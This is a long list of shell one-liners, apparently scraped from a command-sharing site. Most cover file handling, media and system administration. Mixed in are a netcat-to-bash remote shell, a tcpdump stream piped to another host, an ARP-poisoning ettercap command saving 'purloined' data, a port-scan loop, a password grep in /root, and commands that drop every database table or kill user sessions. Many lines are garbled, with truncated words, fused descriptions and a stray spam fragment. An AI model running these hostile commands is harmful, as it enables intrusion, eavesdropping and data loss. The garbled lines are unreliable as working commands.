find ./ -name *.h -exec egrep -cH "// | /\*" {} \; | awk -F':' '{print $2 ":" $1}' | sort -gr
stty sane ^J
find / -type f 2>/dev/null | xargs du 2>/dev/null | sort -n | tail -n 10 | cut -f 2 | xargs -n 1 du -h
nc localhost 10000 <<< "message"
rmdir **/*(/^F)
t YYYYMMDD.dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }
sed '/^$/d' /tmp/data.txt > /tmp/output.txt
sudo sh -c 'gunzip -c source.gz > destination'
!<command>
python -c "from itertools import imap; from random import randint; print ':'.join(['%02x'%x for x in imap(lambda x:randint(0,255), range(6))])"
watch --interval 0 'iptables -nvL | grep -v "0 0"'
ffmpeg -r 24 -i %04d.png -i INPUTSOUND -r 24 -aspect 16:9 -s 1920x1080 -vcodec libx264 -vpre hq -acodec ac3 -b 40000k -shortest -threads 0 OUTFILE.mp4
xmlstarlet sel --net -t -m "//last" -v "@data" -n http://www.google.com/ig/api?stock=GOOG
mdb-export -H -I -R database.mdb table >table.sql
diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }'
ls -al /proc/<PID>/fd
curl -u yourusername:yourpassword -d status=?Your Message Here? https://twitter.com/statuses/update.xml
<ALT> <BACKSPACE>
find ${PATH//:/ } -iname "*admin*" -executable -type f
shout() { curl -s "http://shoutkey.com/new?url=${1}" | sed -n "/<h1>/s/.*href=\"\([^\"]*\)\".*/\1/p" ;}
echo 1 > /proc/sys/net/ipv4/tcp_syncookies echo 1 > /proc/sys/net/ipv4/ip_forward iptables -A FORWARD -p tcp ?syn -m limit -j ACCEPT
sed -e 's/{/|/' -e 's/}{/|/' -e 's/}/|/' myFile.sub | awk -F "|" 'BEGIN {OFS = "|"} { $2 = $2 - 600; $3 = $3 - 600; print $0 }' | sed -e 's/^|/{/' -e 's/\([0-9]\)|\([0-9]\)/\1}{\2/' -e 's/|/}/' >
curl http://domain.com/file.tar.gz | tar zx
fmiss() { grep -RL "$*" * }
OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS
cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'
stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }
while [ 1 -lt 2 ]; do i=0; COL=$((RANDOM%$(tput cols)));ROW=$((RANDOM%$(tput cols)));while [ $i -lt $COL ]; do tput cup $i $ROW;echo -e "\033[1;34m" $(cat /dev/urandom | head -1 | cut -c1-1) 2>/dev/null ; i=$(expr $i + 1); done; done
nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$'
find /home/ -type f -exec du {} \; 2>/dev/null | sort -n | tail -n 10 | xargs -n 1 du -h 2>/dev/null
sed -n '15p' $file
nrsync -Pz user@remotehost:/path/file.dat .
vim `which <scriptname>`
ulimit -s 64
curl --silent "FEED ADDRESS" |sed -e 's/<\/[^>]*>/\n/g' -e 's/<[^>]*>//g
patch originalfile -i my.patch -o newfile; mv newfile originalfile
for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done
tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print $2}' | grep -E -v '^\.$'`
find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/' -e '$ap' | dc
while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done
underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf "\n"; }
telnet towel.blinkenlights.nl
sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p"
awk '{a[i++]=$0} END {for (j=i-1; j>=0;) print a[j--] }'
sudo update-alternatives --config editor
box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; }
df -l | grep -e "9.%" -e "100%"
tune2fs -c -1 -i 0 /dev/VG0/data
info gpg |less
echo -n "String to MD5" | md5sum | sed -e 's/[0-9a-f]\{2\}/& /g' -e 's/ -//'
2008TZ=XYZ24 date
svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/]+$'
cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc
curl -s "http://www.socrata.com/api/views/vedg-c5sb/rows.json?search=Axelrod" | grep "data\" :" | awk '{ print $17 }'
curl -s 'http://www.discogs.com/search?q=724349691704' | sed -n '\#/release/#{s/^<div>.*>\(.*\)<\/a><\/div>/\1/p}'
mtr --report --report-cycles 10 www.google.com > google_net_report.txt
shutdown -h 60
find -name `egrep -s '.' * | awk -F":" '{print $1}' | sort -u` -exec stat {} \;
alias sagi="yes | sudo apt-get install"
SSHFS (obvioulsly).mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/ /Volumes/sshdisk -oreconnect,volname=SSHDisk
dd if=/dev/random of=bigfile bs=1024 count=102400
Create aliases for common vim minibuffer/cmd typos
H=$(until ([ $i -le 6 -a $i -gt 0 -o $i -le 23 -a $i -gt 21 ] ); do i=$(date +%N | cut -c8-10); done ; echo $i) ; M=$(until [ $i -le 59 ]; do i=$(date +%N | cut -c8-10); done ; echo $i) ; echo $M $H \* \* \* backup-rsync-push.sh
perl -MText::Highlight -E '$h=Text::Highlight->new(ansi=>1); my $text=do{local $/; open my $fh, "<", $ARGV[0]; <$fh>}; say $h->highlight("Perl", $text);' path/to/perl-file.pl
i=0;while :; do i=$(expr "$i" + 1); scrot "$i".png; sleep 2; done;
irectoriesfind . -regex "[^.]*" -depth -empty -type d -mtime +1 -exec rmdir -v {} \;
function jumpTo { xmms2 jump `xmms2 list | grep -i '$1' | head -n 1 | tail -n 1 | sed -re 's@.+\[(.+)/.+\] (.+)@\1@'`; }
l for editors like Vim and Emacsctags -R
perl -i.bak -pe 's/apple/orange/; s/dollar/euro/; s/foo/bar/;' file
cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl -MTime::HiRes -pne "Time::HiRes::usleep(rand()*1000000)"
hdiutil makehybrid -udf -udf-volume-name DVD_NAME -o MY_DVD.iso /path/
find . -type f -size 0 -delete
curl -s http://icanhazip.com/
export MANPAGER='most'
rename 'y/ /_/' *
rar a -m0 "${PWD##*/}.rar" *
setfont cybercafe
pkill xmms
curl -s www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
ssh USER@REMOTESYSTEM arecord - | aplay -
wget -U "Mozilla/5.0" -qO - "http://translate.google.com/translate_a/t?client=t&text=translation+example&sl=auto&tl=fr" | sed 's/\[\[\[\"//' | cut -d \" -f 1
host google.com
newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[ -z $candidate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }
leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; }
mwiki () { dig +short txt `echo $*|sed 's| *|_|g'`.wp.dg.cx; }
sendEmail -f [email protected] -u subject of nessage -t youfriend@hisdomain -m message to him
tac $FILE
grep -v "^#" file.txt | more
of the backupnice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"
5 hash)find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
ychmod -R u=rwX,g=rX,o=rX .
calc() { python -c "from math import *; print $1"; }
e ~/.bashrcecho "alias topu='top -u USERNAME'" >> ~/.bash_aliases && source .bashrc
python -ic "from __future__ import division; from math import *; from random import *"
for dir in $(find -type d ! -name CVS); do for file in $(find $dir -maxdepth 1 -type f); do rm $file; cvs delete $file; done; done
calc() { bc <<< $*; }
curl --ntlm -u DOMAIN/user https://sharepoint.domain.com/path/to/file
HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo -en "\n\nport $port/tcp is open\n\n";fi;done | grep open
svn status | grep '^?' | awk '{ print $2; }' | xargs svn add
find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm
nmblookup -A <ip>
bindkey ^l at "#" log on bindkey ^o at "#" log off
ll /root/ 2>&1 | grep -E '(psw|password)'
mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe
MYSQL="mysql -h HOST -u USERNAME -pPASSWORD -D DB_NAME" ; $MYSQL -BNe "show tables" | awk '{print "set foreign_key_checks=0; drop table `" $1 "`;"}' | $MYSQL unset MYSQL
find . | perl -wne 'chomp; print qq|<img src="$_" title="$_" /><br />| if /\.(jpg|gif|png)$/;'> gallery.html
tail -f `ls -alst /var/log/maillog* | awk '{print $10} NR>0{exit};0'` | grep "criteria"
ls $(grep cifs /etc/fstab | grep -v ^# |awk ' { print $2 } ') 1>/dev/null
Play "foo.mpg" in your terminal using ASCII characters
function echox { echo `tput cup $(($(tput lines))) $(( ($(tput cols) - $(echo "${#1}"))/2 ))`"$1"`tput cup $(tput lines) $(( $(tput cols)-1 ))`; }
the TRUE speed of your disks aretime (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync )
jot -s '' -r -n 8 0 9
f a regular expression.command | sed '/regex/q'
ifconfig | awk '/^eth0/ {print $5}'
tar cvzf - /wwwdata | ssh root@IP "dd of=/backup/wwwdata.tar.gz"
<Esc> _
ort 9000ssh -R 9000:localhost:9000 [email protected]
find /myfs -size +209715200c -exec du -m {} \; |sort -nr |head -10
echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'
^J tput sgr0 ^J
watch -n 1 nc localhost 80 '<<EOF GET / HTTP/1.1 Host: tux-ninja Connection: Close EOF'
sniff_host: tcpdump -nn -i eth1 -w - | nc 192.168.0.2 666
alias ..="cd .."; alias ...="cd ../.."; alias ....="cd ../../.."
cowsay $(fortune)
tree -fi /directory/path/* | grep "\.js"
csvde -f test.csv
perl -e 'my $in_comment = 0; while (<>) { $in_comment = 1 if m{\Q/*\E}; print if $in_comment; $in_comment = 0 if m{\Q*/\E}; }' *.cpp
lynx cmdl.in/9058
dd if=/dev/mem of=file.dump bs=1024 skip=0 count=1
find directory/ -exec grep -ni phrase {} +
emerge -av1 $(for e in `qlist -I --nocolor | uniq`; do for f in `qlist -e $e`; do if test ! -e $f; then echo $e; echo $e: missing $f 1>&2; fi; done; done)
find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k
gpg --keyserver pgp.mit.edu --recv-keys `gpg --list-key | grep ^pub | awk '{print $2}' | sed 's,^.*/,,g'`
od -An -w999 -t xC <<< "$1" | sed 's/[ ]\?\(c[23]\) \(..\)/%\1%\2/g;s/ /\\\\\x/g' | xargs echo -ne
translate() { echo $1: $(wget -q -O - 'http://www.google.de/dictionary?source=translation&q='$1'&langpair=en|de' | grep '^<span class="dct-tt">.*</span>$' | sed 's!<span class="dct-tt">\(.*\)</span>!\1, !'); }
awk -F, '{print $1" "$2" "$NF}' foo.txt
manswitch() { man $1 | grep -A5 "^ *\-$2"; }
awk 'length($0)!=12 {print}' your_file_name
arp-scan -I eth0 -l | perl -ne '/((\d{1,3}\.){3}\d{1,3})/ and $ip=$1 and $_=`nmblookup -A $ip` and /([[:alnum:]-]+)\s+<00>[^<]+<ACTIVE>/m and printf "%15s %s\n",$ip,$1'
growisofs -Z /dev/dvd -J -r "directory name to burn on DVD"
function my_irc { tmp=`mktemp`; cat > $tmp; { echo -e "USER $username x x :$ircname\nNICK $nick\nJOIN $target"; while read line; do echo -e "PRIVMSG $target :$line"; done < $tmp; } | nc $server > /dev/null ; rm $tmp; }
or executable)find . -type f -perm +200 -print
dbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/UPower org.freedesktop.UPower.Suspend
re printing.convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" output.pdf
pcharc(){ perl -e 'for (0..255) {$_ = chr($_); print if /['$1']/}' | cat -v; echo;}
ifconfig | grep HWaddr | awk '{print $1,$5}'
sudo nvram boot-args="-v"
who -u | grep -vE "^root " | kill `awk '{print $6}'`
sudo update-alternatives --config java
read -d ""
ls -1 *.part1.rar | xargs -d '\n' -L 1 unrar e
mysqldump [options] |gzip ->mysqldump-$(date +%Y-%m-%d-%H.%M.%S).gz
ldapsearch -h ldapserver.willeke.com -p389 -b "" -s base -D cn=admin,ou=administration,dc=willeke,dc=com -w secretpwd "(objectclass=*)" chainings removeEntryOps referralsReturned listOps modifyRDNOps repUpdatesIn repUpdatesOut strongAuthBinds addEntryOps
mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))
sed -i 's/^\(somestring\)/#\1/' somefile.cfg
ps uw --ppid $PID
df -i <partition>
find . -type f -print0 | xargs -0 rename 's/\ //g'
nmap -sP -T Insane 192.168.1.1-254
while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done
grep <something> logfile | cut -c2-18 | uniq -c
cp "/var/lib/mpd/music/`mpc --format '%file%' | head -n1`" /some/where/else
xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}
echo $(($(tr '\n' '+')0))
sed -i '<line_no>s/\(.*\)/#\1/' <testfile>
shopt -s autocd
wget -q -U "Mozilla/5.0" --post-file speech.flac --header="Content-Type: audio/x-flac; rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=en-us&client=chromium"
perl -pe 's/\d+/++$n/e' file.txt
mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884
while true; do if wget http://releases.ubuntu.com/10.04/ubuntu-10.04-desktop-i386.iso.torrent; then ktorrent --silent ubuntu-10.04-desktop-i386.iso.torrent ; date; break; else sleep 5m; fi; done
awk 'BEGIN{RS="\0"}{gsub(/\n/,"<SOMETEXT>");print}' file.txt
MyVAR=86; awk -v n=$MyVAR '{print n}'
ping the extension)for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//'`; echo renaming $i to $nuname;mv $i $nuname; done
apropos <part_rember> | less
ple detectionNAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" && NAME="NO_NAME"; echo "$NAME"
>realpath ./somefile.c | xclip -selection c
WRDS="word1 word2 wordN"; while [ 1 ];do curl -s http://twitter.com/statuses/public_timeline.rss |grep '<description>' |cut -d '>' -f 2 |cut -d '<' -f 1 > .twitt.tmp && for word in $WRDS;do grep --color=auto -i $word .twtt.tmp;done;sleep 300;done
for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done
lame -V2 rec01.wav rec01.mp3
wget -k -r -l 5 http://gentoo-install.com
ls [FILENAME] | xargs openssl sha1
sudo truecrypt <truecrypt-file> <mount-point>
kaffeine $(wget -qO- "http://questions-pour-un-champion.france3.fr/emission/index-fr.php?page=video&type_video=quotidiennes&video_courante=$(date +%Y%m%d)" | grep -o "mms.*wmv" | uniq)
find / -type f -size +500000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
su -c "vncserver -depth 32 -geometry 1024x768" username
if [ $(date +%u) -lt 6 ];then AT="tomorrow"; else AT="next monday";fi;echo "beep" | at ${AT}
alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0 masterMute\(\) | sed -e 's/true/muted/' -e 's/false/unmuted/' "
"`; do pg_dump -C $x | gzip > /backups/$x-back.gzfor x in `psql -e\l | awk '{print $1}'| egrep -v "(^List|^Name|\-\-\-\-\-|^\()"`; do pg_dump -C $x | gzip > /var/lib/pgsql/backups/$x-nightly.dmp.gz; done
lucreate -n be1 [-c be0] -p zpool1
Keys=$HOME/.ssh/authorized_keys;Back=$Keys.tmp.bak;Time=${1:-15};cp $Keys $Back;cat /dev/stdin >>$Keys;echo mv $Back $Keys|at now+${Time}minutes;
nslookup commandlinefu.com|sed 's/[^0-9. ]//g'|tail -n 1|awk -F " " '{print $2}'
egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq
mplayer -novideo something.mpg
:exe "!wmctrl -r ".v:servername." -b toggle,fullscreen"
sed "s/^ *//;s/ *$//;s/ \{1,\}/ /g" filename.txt
ls -Fhitlar
sed G file.txt
ls -1 . dir2 dir3|sort|uniq -d
sudo du -sh $(ls -d */) 2> /dev/null
iscsiadm -m discovery -t sendtargets -p 192.168.20.51
rsync -av --link-dest=$(ls -1d /backup/*/ | tail -1) /data/ /backup/$(date +%Y%m%d%H%M)/
fileName(){ echo ${1##*/}; }
dpkg-deb -x $debfile $extractdir; dpkg-deb -e $debfile $extractdir/DEBIAN;
w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div id=\"oneliner_[0-9].*/ {while (! /\/div/ ) { gsub("\n", ""); getline; }; gsub (/<[^>][^>]*>/, "", $0); print $0}'
qlist --exact "$pkg" | sudo scanelf --needed --quiet --format '%n#F' | tr ',' '\n' | sort -u | qfile --from -
vim ... :nmap <F5> :w^M:!python %<CR>
sed -i -e "s/text to replace/final text/g" file
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3' | mysql -u <localusername> -p<localdbpassword> <localdbname> < /dev/stdin
perl -MPOSIX -e 'print strerror($ARGV[0])."\n";' ERRNO
for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done
ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log
alias -g R=' &; jobs | tail -1 | read A0 A1 A2 cmd; echo "running $cmd"; fg "$cmd"; zenity --info --text "$cmd done"; unset A0 A1 A2 cmd'
flvtool2 -C -i 1140000 -o 1200000 input output
for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done
rpm -q --queryformat %{VERSION}\\n pkgname
goburncd() { d=/tmp/goburncd_$RANDOM; mkdir $d && for i in *.[Mm][Pp]3; do lame --decode "$i" "$d/${i%%.*}.wav"; done; sudo cdrecord -pad $d/* && rm -r $d; eject }
echo $PWD/*
find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t
rename 's/\.jpeg/\.jpg/' *.jpeg; rename 's/\.JPG/\.jpg/' *.JPG
for file in $(find ~/ -iname "*.mp3");do c=$(mp3info $file|grep Genre|cut -f 3 -d :|cut -f 2 -d " ");if [ -z "$c" ];then c="Uncategorized";fi;if [ ! -e $c ];then touch $c.m3u;fi;echo "$file">>$c.m3u;done
echo "notify-send TimeToQuit" | at 10:22
date -r foo
xkill
if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi
ps -eo pcpu,user,pid,cmd | sort -r | head -5
wget `lynx --dump http://xkcd.com/|grep png`
the free trial version has the fantastic functions to protect any private files from being seen by anyone except me. With it I can encrypt, hide or lock anything I want, amazintr '[A-Za-z]' '[N-ZA-Mn-za-m]'
filterous -dntb --tag Bash < bookmarks.xml
for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done
mplayer -vo null -vc null -ao pcm:fast:file=file.wav file.mp3; faac -b 128 -c 44100 -w file.wav
killall -2 mpg321
cycle(){ while :;do((i++));echo -n "${3:$(($i%${#3})):1}";sleep .$(($RANDOM%$2+$1));done;}
php -s source.php > source.html
for i in {6..1} ; do for f in *.$i.gz ; do mv "$f" "${f/.$i.gz}".$((i+1)).gz 2> /dev/null ; done; done
perl -mText::Highlight -E 'say Text::Highlight->new(ansi => 1)->highlight(Perl => do { local (@ARGV,$/) = shift; <> }) ' path/to/perl-file.pl
function catv { egrep -v "^$|^#" ${*} ; }
hardinfo -am benchmark.so -f html > report.html
to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) | xargs wc -l | sort -n
radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@ http://173.236.29.51:8200 & fi }
Server side: while true; do tar cvzf - ./* | nc -l 2000; done, client side: nc localhost 2000 | tar xvzf -
PROMPT=$'%{\e[0;32m%}%B[%b%{\e[0m%}%n%{\e[0;32m%}@%{\e[0m%}%(4c,./%1~,%~)%{\e[0;32m%}%B]%b% %(?,%{\e[0;32m%}:%)%{\e[0m%},%{\e[0;31m%}:(%{\e[0m%}) %# '
host $HOSTNAME|cut -d' ' -f4
skill -KILL -v /dev/pts/*
nmap -v -sP 192.168.10.0/24 | grep down | wc -l
pdsh -R ssh -w se00[1-5] # a list of host names
tories.alias cdd="history -a && grep '^ *[0-9]* *cd ' ~/.bash_history| tail -10 >>~/.bash_history && history -r ~/.bash_history"
for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done
ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates
buf () { filename=$1; filetime=$(date +%Y%m%d_%H%M%S); cp ${filename} ${filename}_${filetime}; }
pathrm() { PATH=`echo $PATH | sed -e "s=^${1}:==;s=:${1}$==;s=:${1}:=:="`; }
awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
perl -MDigest::SHA -e 'print substr( Digest::SHA::sha256_base64( time() ), 0, $ARGV[0] ) . "\n"' <length>
ps -eo user | sort -u
rpm -e --allmatches filename.rpm
ls -lrt
ngsu username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"
yes n | cp -p -i -r <src> <dest>
nmap -v -sP 192.168.10.0/24 | grep -c down
pidof httpd
mount -t smbfs //$server/share /local/mount -o rw,username=$USER
sed '/^/R addfile' targetfile > savefile
awk /./ filename
find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs
lsof -i tcp -i udp
alias ..="cd .." ...="cd ../.." ....="cd ../../.."
open -a BBEdit file.sql
awk '{if ($1 ~ /Package/) p = $2; if ($1 ~ /Installed/) printf("%9d %s\n", $2, p)}' /var/lib/dpkg/status | sort -n | tail
echo "xmms2 play" | at 6:00
find directory -maxdepth 1 -type f | xargs ls -l | awk 'BEGIN { SUM=0} { SUM+=$5 } END { print SUM/2^20 }'
{ if (/^[A-Za-z0-9]/) { interface=$1; next } else { if (/inet [Aa][d]*r/) { split($2,ip,":") } else { next } } print interface"\t: "ip[2] }
diff {$path1,$path2}/file_to_diff
emerge -q1 $(eix -C dev-java -I --upgrade+ --only-names ant)
gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf
pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'
find . -type f | parallel -j+0 grep -i foobar
svn up -r PREV # revert
convert example.png -resize 100x100! output.png
tail -f /var/log/messages | while read line; do accu="$line"; while read -t 1 more; do accu=`echo -e "$accu\n$more"`; done; notify-send "Syslog" "$accu"; done
sleep 3600; amixer set Master mute
alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'
gtar cpf - . | (cd /dest/directory; gtar xpf -)
for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done
perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename
netstat -atn | perl -0777 -ne '@ports = /tcp.*?\:(\d+)\s+/imsg ; for $port (32768..61000) {if(!grep(/^$port$/, @ports)) { print $port; last } }'
pkill name
telsof | grep 'DEL.*lib' | sort -k1,1 -u
cut -c 1-N
ssh -L 5900:localhost:5900 [email protected]
curl www.whatismyip.com/automation/n09230945.asp
du -sm $dirname
make -d | egrep --color -i '(considering|older|newer|remake)'
which <filename>
find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2
while :; do sensors|grep ^Core|while read x; do printf '% .23s\n' "$x"; done; sleep 1 && clear; done;
convert -crop 32x33 +repage http://code.google.com/more/more-sprite.png icon.png
mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv
echo 'ibase=10; obase=2; 127' | bc
defaults write com.apple.Dock no-glass -boolean YES; killall Dock
find . \( ! -name . -prune \) \( -type f -o -type l \)
sed -n '/regex/,$p' filename
Ctrl+a
qlook() { qlmanage -p "$@" >& /dev/null & }
php -r 'function a(){$i=10;while($i--)echo str_repeat(" ",rand(1,79))."*".PHP_EOL;}$i=99;while($i--){a();echo str_repeat(" ",34)."Happy New Year 2011".PHP_EOL;a();usleep(200000);}'
wodim -v dev=/dev/dvd -blank=fast
xmlstarlet ed -d '//comment()' $XML_FILE
dd if=/dev/zero of=testfile.txt bs=1M count=10
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3 | gzip -c -' | gzip -dc - | mysql -u <localusername> -p<localdbpassword> <localdbname>
convert -size 32x32 \( xc:red xc:green +append \) \( xc:yellow xc:blue +append \) -append output.png
dvd+rw-format /dev/dvd
dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev
for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done
ip link | grep 'link/ether' | awk '{print $2}'
awk '{printf("/* %02d */ %s\n", NR,$0)}' inputfile > outputfile
ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print`
cp `ls -x1tr *.jpg | tail -n 1` newest.jpg
openssl x509 -in filename.crt -noout -text
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
for p in `grep -v deinstall /var/mobile/Library/Preferences/aptbackup_dpkg-packages.txt | cut --fields=1`; do apt-get -y --force-yes install $p; done
ecking if existing session is createdalias irssi="screen -wipe; screen -A -U -x -R -S irssi irssi"
cut -c -N
:exe getline(1)[1:] @%
ls -s | sort -nr | more
ps ax -L -o pid,tid,psr,pcpu,args | sort -nr -k4| head -15 | cut -c 1-90
sed i"+" file.txt | xargs echo 0 |bc
for arq in *.png; do size=$(identify $arq | cut -f3 -d" "); [ $size == "280x190" ] || rm $arq ; done
are no conflictsgit config --global --add alias.ff "pull --no-commit -v" ; git ff
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'|egrep 'compat|glibc|gcc|libst|binu'|sort
while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done
Add to ~/.inputrc: set match-hidden-files off
dot_clean
services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\\E\[42m\[ + \]\\E\[0m/g' -e 's/\[ - \]/\\E\[41m\[ - \]\\E\[0m/g' -e 's/\[ ? \]/\\E\[43m\[ ? \]\\E\[0m/g')\n";}
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; }
awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device size with M'
xxd -l 0x04 $file; xxd -s -0x04 $file
tt(){tree -pFCfa . | grep "$1" | less -RgIKNs -P "H >>> "}
svn st | awk ' {if ( $1 == "?" ){print $1="",$0}} ' | sed -e 's/^[ \t]*//' | sed 's/ /\\ /g' | xargs svn add
script -qf >(nc -ub 192.168.1.255 5000)
gsettings set org.gnome.desktop.background picture-uri 'file://<path-to-image>'
until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back"
sed 's/^[ \t]*//' input.txt
while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3
comment() { echo "" > /dev/null; }
sed -i.bak 's/old/new/g' file